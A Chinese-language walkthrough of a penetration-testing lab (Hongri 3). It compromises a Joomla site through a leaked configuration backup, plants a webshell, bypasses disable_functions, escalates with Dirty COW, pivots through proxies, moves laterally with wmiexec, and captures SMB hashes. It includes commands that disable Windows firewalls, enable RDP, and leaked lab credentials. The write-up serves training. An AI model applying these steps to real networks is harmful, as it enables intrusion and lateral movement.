访问/configuration.php~泄露信息

泄露数据库账号信息testuser:cvcvgjASD!@,远连试试

成功连接mysql,为了方便查看存储内容,使用navicat连接,存在用户信息

解密失败,但是有修改权限,把password改为$2y$10$YLDHAKavP1T0s.R4dTN3ZuEhtXaecvsoi02Vb37N8/zo/.MJ18seu即可使用testadmin进行登录后台(直接搜索joomla通过数据库恢复密码)

后台模板处可以进行代码注入

位置在/templates/beez3/error.php,直接上蚁剑(这里查看phpinfo发现有disable_function)

这里需要绕过disable_function,PHP版本为7.1,直接使用蚁剑插件进行绕过

绕过成功

内网渗透

渗透过程中仔细一点我们会发现目标机是ubuntu,但是按道理来说边缘机应该是centos,查看网络配置

发现所在网段192.168.93.1/24为内网网段,所以猜测是边缘机使用nginx反向代理的web和mysql服务

因为拿到的机器不出网,所以我们只能做个reGeorg正向php代理,传入fscan扫一下

一共5台机器:

  • 192.168.93.10 DC Windows Server 2012
  • 192.168.93.20 Windows Server (R) 2008
  • 192.168.93.30 Windows 7
  • 192.168.93.100 Centos
  • 192.168.93.120 Ubuntu

这里win2008开了1433的sql server服务,还爆破出了mysql的root密码123

刚开始准备想办法拿下边缘机,方便做反向代理的,然后没什么思路,结果通过走代理正向上线了内网ubuntu

fscan这里没有检测处ms17_010,但还是用msf去扫了一遍,无果

到这里发现思路不是很明确了,然后去看了看其他佬的渗透过程,果然还是死在了弱口令和一些细节上

这里的细节是边缘机centos开启了ssh服务,fscan这里也尝试爆破了无果,在ubuntu的/tmp/mysql/test.txt泄露了密码

通过wwwuser:wwwuser_123Aqx连接边缘机

这下就不用在那边做正向代理了,让边缘机反向上线msf,然后做msf路由打就好了

这里使用脏牛(https://github.com/firefart/dirtycow)可以直接进行提权

这里有了边缘机,可以做个好一点的代理,php正向代理还是不稳定,这里用的ew

爆破内网其他三台windows的smb服务

mssql的账号密码信息与之前的mysql一致

使用https://github.com/fortra/impacket的wmiexec.py进行攻击

#设置远程桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
#开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#检查端口状态
netstat -an|find "3389"
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

关闭防火墙:netsh firewall set opmode mode=disable
关闭防火墙: netsh advfirewall set allprofiles state off
查看防火墙状态: netsh advfirewall show allprofiles

其他机器同理,这里是4台(93.20那台win2008打坏了)

在红日三渗透过程中,我们获取到了win2008的mssql权限,我们可以使用mssql去进行SMB钓鱼(爆破不是一个好的办法)从而获取Hash

这里因为是在不出网环境中,我们需要使用Responder(上传到边缘机centos上)进行搭建一个smb服务,然后使用如下图所示方法进行uac注入触发smb钓鱼。

这里为了方便操作,将win2008设置为了出网,使用msf的辅助模块启动smb服务,然后将challenge设置为1122334455667788(彩虹表)

彩虹表:彩虹表是一个数据库,用于通过破解密码哈希来获得身份验证。它是一个预先计算的明文密码及其对应的哈希值字典,可用于查找产生特定哈希值的明文密码。
